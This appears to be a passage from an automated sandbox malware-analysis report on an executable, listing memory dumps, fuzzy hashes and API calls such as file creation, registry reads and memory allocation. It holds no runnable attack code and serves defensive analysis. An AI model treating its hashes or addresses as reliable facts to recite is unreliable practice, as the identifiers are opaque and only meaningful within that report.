Source File: 00000001.00000003.1692307782.000000000075A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0075A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_75a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8863f434629552c651051637502a5bcfaf98f840d11c289b6ea828c61377c293
Instruction ID: 5e7d9ec889256902655f9a0274526835d703e93172c353190e4e804e43503739
Opcode Fuzzy Hash: 8863f434629552c651051637502a5bcfaf98f840d11c289b6ea828c61377c293
Instruction Fuzzy Hash: 7602DE6140E3C15FD7138B704D7A591BFB0AE23204B5E86DFC8C68F4A3E759994AD722

Function 0073B804 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1693036130.0000000000737000.00000004.00000020.00020000.00000000.sdmp, Offset: 00737000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_737000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e74dea9a5847c6e921d820bdc6ef5f4900c3c3a70aadfbd587b4560d1bfeb36
Instruction ID: 0bd9a344a1608e2c7056f2cbe3de3c61e97cf4a6d101bca0780cce2ab75a8523
Opcode Fuzzy Hash: 2e74dea9a5847c6e921d820bdc6ef5f4900c3c3a70aadfbd587b4560d1bfeb36
Instruction Fuzzy Hash: 85D16A6244E7C15FD7038B748C6A681BFB1AF13214B1E86DFC4C58F4A3D329A94AC762

Function 0073D875 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1693036130.0000000000737000.00000004.00000020.00020000.00000000.sdmp, Offset: 00737000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_737000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8166a68289577e8ef9284f1b4f81e73f66ca71c9f3d4bce2376747aab1bbc14b
Instruction ID: 9f544253299d758a3cccd83842aabfcf74e5b37e4f311003f5c52c5fda450f8b
Opcode Fuzzy Hash: 8166a68289577e8ef9284f1b4f81e73f66ca71c9f3d4bce2376747aab1bbc14b
Instruction Fuzzy Hash: A5C1A42554EBC15EE3078B74AD612967FB2AF03199B0E41E7D081DB0B3D29C0D59CBAA

Function 007B35B2 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, Offset: 007A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_7a9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4df198ee246aa8280ae28988282b1b80f0b4b4a677639c4fdf31e2db8d3073e
Instruction ID: b736f892321d437e224e720a17c748567bd1412e3e23ecd97f5ac349a7749f85
Opcode Fuzzy Hash: d4df198ee246aa8280ae28988282b1b80f0b4b4a677639c4fdf31e2db8d3073e
Instruction Fuzzy Hash: C6216AB7E6153543F3484835CD693A26642E791314F2F813C8E5DAB7C2DC7E9D495388

Analysis Process: 5C18KRB735WCGR95JY.exePID: 2024, Parent PID: 7664COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	34.6%
Signature Coverage:	0%
Total number of Nodes:	26
Total number of Limit Nodes:	1

Executed Functions

Function 00E19451 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,9A8D3400,00000003,00000000,00000003), ref: 00E19458

Strings

C, xrefs: 00E194F6

Memory Dump Source

Source File: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: b1bad6866276b58e63836350ed495fb7dbb741d3e156132feb6ca160fe48ce49
Instruction ID: 57ac310eba9981fd86ba5e5e60534923cbf867506077906a138ac0be86f9e0c1
Opcode Fuzzy Hash: b1bad6866276b58e63836350ed495fb7dbb741d3e156132feb6ca160fe48ce49
Instruction Fuzzy Hash: A011B7B7508119AEF701CF60EEA0AFF376DEBC4320F60942AF845E5446C2690D969A79

Function 00E2547A Relevance: 4.6, APIs: 3, Instructions: 56
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00E254B8
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00E254DF
GetNativeSystemInfo.KERNELBASE(?), ref: 00E25536

Memory Dump Source

Source File: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 97b7d3f78af594d56bbdc6b89371edf7925db0b612f68d692778c739262c13c2
Instruction ID: 3d258de784095d09f8519e1566c2e0f61a8f5f33788ee8aa0d8fd80f239eb4e4
Opcode Fuzzy Hash: 97b7d3f78af594d56bbdc6b89371edf7925db0b612f68d692778c739262c13c2
Instruction Fuzzy Hash: 182123B204021FAFEF25DF60DA48AEF3BA9EB04305F000026ED42D1950DBB68DA4CF58

Function 00E18FCE Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 196
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(5A40C9E6), ref: 00E19050

Strings

C, xrefs: 00E194F6

Memory Dump Source

Source File: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 04ca8e60e5f7bf9ef481f34a9c51595d590ef5a177302076bb8bce812593f32a
Instruction ID: 8e54634524e346e7bc8b112e9a15d32284ab28b9f114be791750677467457883
Opcode Fuzzy Hash: 04ca8e60e5f7bf9ef481f34a9c51595d590ef5a177302076bb8bce812593f32a
Instruction Fuzzy Hash: 4641C1B660D10ABEF701CE10AE64AFF776DEBC9730F31942AF806E6442D2A50D855634

Function 00C9ECD4 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00C9F031

Strings

;%|, xrefs: 00C9F164

Memory Dump Source

Source File: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207874587.0000000000E90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207895672.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207917964.0000000000E92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207939963.0000000000E96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207960516.0000000000E97000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207981494.0000000000E9D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208004593.0000000000EA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208026423.0000000000EA6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208049434.0000000000EAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208073724.0000000000EB0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208094514.0000000000EB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208117750.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208140183.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208162841.0000000000EBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208186897.0000000000EC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208209610.0000000000EC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208231524.0000000000EC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208253341.0000000000ECE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208278875.0000000000EDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208300458.0000000000EE1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208339116.0000000000F25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208363205.0000000000F26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208387530.0000000000F38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208436577.0000000000F46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2208493599.0000000000F48000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c90000_5C18KRB735WCGR95JY.jbxd

Similarity

API ID: AllocVirtual
String ID: ;%|
API String ID: 4275171209-2660823832
Opcode ID: 68fa944a931d1673445c15810388855ef5e90a76e697573f7c83eb54078cc9a4
Instruction ID: 31f68dae9b3312cdcafb90ea9e115db684647ca6c5b1e2d68bd98be28940dc38
Opcode Fuzzy Hash: 68fa944a931d1673445c15810388855ef5e90a76e697573f7c83eb54078cc9a4
Instruction Fuzzy Hash: E501EFB010CA10DFDB00AF2AC48967EFBE4FF54740F22492EE5C18A240E2710881DB93

Function 00E19018 Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(5A40C9E6), ref: 00E19050

Memory Dump Source

Source File: 00000006.00000002.2207508292.0000000000E12000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000006.00000002.2207266294.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207308843.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207330168.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207352939.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207460210.0000000000E02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207484130.0000000000E04000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207553700.0000000000E25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207574368.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207595879.0000000000E28000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207616396.0000000000E29000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207638620.0000000000E36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207660197.0000000000E3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207692735.0000000000E53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207715079.0000000000E58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207735800.0000000000E59000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207758360.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207783589.0000000000E72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207831694.0000000000E87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2207852993.0000000000E88000.00000040.00000001.01000000.00000006.sdmpDownload File
